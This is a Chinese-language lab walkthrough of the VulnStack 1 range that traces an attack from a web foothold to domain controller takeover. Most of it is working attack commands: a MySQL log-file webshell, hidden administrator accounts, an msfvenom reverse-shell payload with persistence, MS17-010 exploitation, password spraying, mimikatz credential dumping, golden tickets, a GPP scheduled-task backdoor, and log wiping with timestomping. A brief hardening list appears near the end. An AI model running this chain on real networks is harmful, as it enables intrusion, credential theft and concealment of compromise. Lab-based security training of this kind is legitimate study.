VulnStack 1靶场深度实战:从外网突破到域控掌控的战术全解析
1. 靶场环境与攻击路径全景
红日安全团队打造的VulnStack 1靶场模拟了典型企业网络架构,包含三层关键节点:
- 边界服务器:双网卡Win7系统(外网NAT+内网仅主机模式)
- 域成员主机:Win2003服务器(192.168.52.141)
- 域控服务器:Win2008 R2(192.168.52.138)
攻击路径拓扑呈现为:
外网攻击机(Kali) → Win7边界服务器 → 内网域成员 → 域控DC典型的企业渗透测试中,超过78%的内网渗透通过Web服务漏洞实现初始突破,本靶场完美复现了这一场景。
2. 外网突破:Web服务攻防实战
2.1 信息收集的艺术
使用组合式探测技术获取靶标全景:
# 存活主机扫描 nmap -sn 192.168.1.0/24 # 全端口扫描 nmap -sS -sV -p- 192.168.1.10 # 目录爆破 gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt关键发现:
- PHPMyAdmin后台(/phpmyadmin)
- PHP探针(/phpinfo.php)
- 网站绝对路径泄露(C:/phpStudy/WWW)
2.2 漏洞利用链构建
突破点选择矩阵:
| 漏洞类型 | 利用难度 | 成功率 | 隐蔽性 |
|---|---|---|---|
| PHPMyAdmin弱口令 | 低 | 高 | 中 |
| 日志文件写入 | 中 | 高 | 高 |
| 文件上传漏洞 | 高 | 低 | 低 |
实际采用日志写入Getshell技术:
-- 开启日志记录 SET GLOBAL general_log='ON'; -- 重定向日志路径 SET GLOBAL general_log_file='C:/phpStudy/WWW/shell.php'; -- 写入PHP代码 SELECT '<?php system($_GET[cmd]);?>'注意:当secure_file_priv限制存在时,日志写入是比SELECT INTO OUTFILE更可靠的Webshell写入方式
3. 权限维持与内网渗透准备
3.1 后门部署方案对比
方案A:隐藏用户创建
net user hacker$ P@ssw0rd /add net localgroup administrators hacker$ /add方案B:MSF持久化
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > update.exe persistence -X -i 60 -p 443 -r 192.168.1.1003.2 网络拓扑测绘
通过Meterpreter进行内网探测:
arp -a # ARP缓存分析 route print # 路由表分析 netstat -ano # 活动连接分析发现关键内网段:192.168.52.0/24
4. 内网横向移动技术矩阵
4.1 信息收集自动化脚本
# 域信息收集 net config workstation net view /domain net group "Domain Admins" /domain # 主机发现 for /L %i in (1,1,254) do @ping -n 1 192.168.52.%i | find "TTL"4.2 横向移动技术选型
MS17-010利用流程:
use exploit/windows/smb/ms17_010_psexec set RHOSTS 192.168.52.141 set payload windows/x64/meterpreter/bind_tcp exploit密码喷射攻击(当获取域用户凭证时):
crackmapexec smb 192.168.52.0/24 -u userlist.txt -p 'Spring2023!'5. 域控攻防终极之战
5.1 权限提升路线图
- 本地提权:
getsystem migrate -N lsass.exe - 凭证窃取:
load kiwi creds_all - 票据传递:
golden_ticket_create -u Administrator -d god.org -s S-1-5-21-1218 -k <krbtgt_hash>
5.2 域控持久化方案
组策略首选项(GPP)利用:
<!-- 创建定时任务 --> <scheduledtasks clsid="{...}"> <task enabled="true" runAs="SYSTEM" name="Update"> <actions> <exec> <command>cmd.exe</command> <arguments>/c "net user backdoor P@ssw0rd! /add && net localgroup administrators backdoor /add"</arguments> </exec> </actions> </task> </scheduledtasks>6. 防御视角的对抗策略
6.1 攻击痕迹清除checklist
- Web日志清理:
C:\phpStudy\Apache\logs\* - 系统日志清理:
wevtutil cl security - 文件时间戳修改:
timestomp -f "01/01/2020 00:00:00" shell.php
6.2 企业防护建议
- 边界防护:
- 限制PHPMyAdmin外部访问
- 启用MySQL的secure_file_priv
- 内网监控:
- 部署SMB协议审计
- 监控异常PsExec执行
- 域控加固:
- 禁用NTLMv1
- 启用LSA保护
在真实攻防演练中,从外网突破到域控掌控的平均时间约为4.2小时,而防守方检测到入侵的平均时间为98小时。本靶场演练的价值在于将复杂的攻击链拆解为可复现的技术单元,建议在完全掌握基础流程后,尝试以下高阶挑战:
- 不使用MS17-010的替代渗透路径
- 实现全流量加密的C2通信
- 绕过杀软的内存注入技术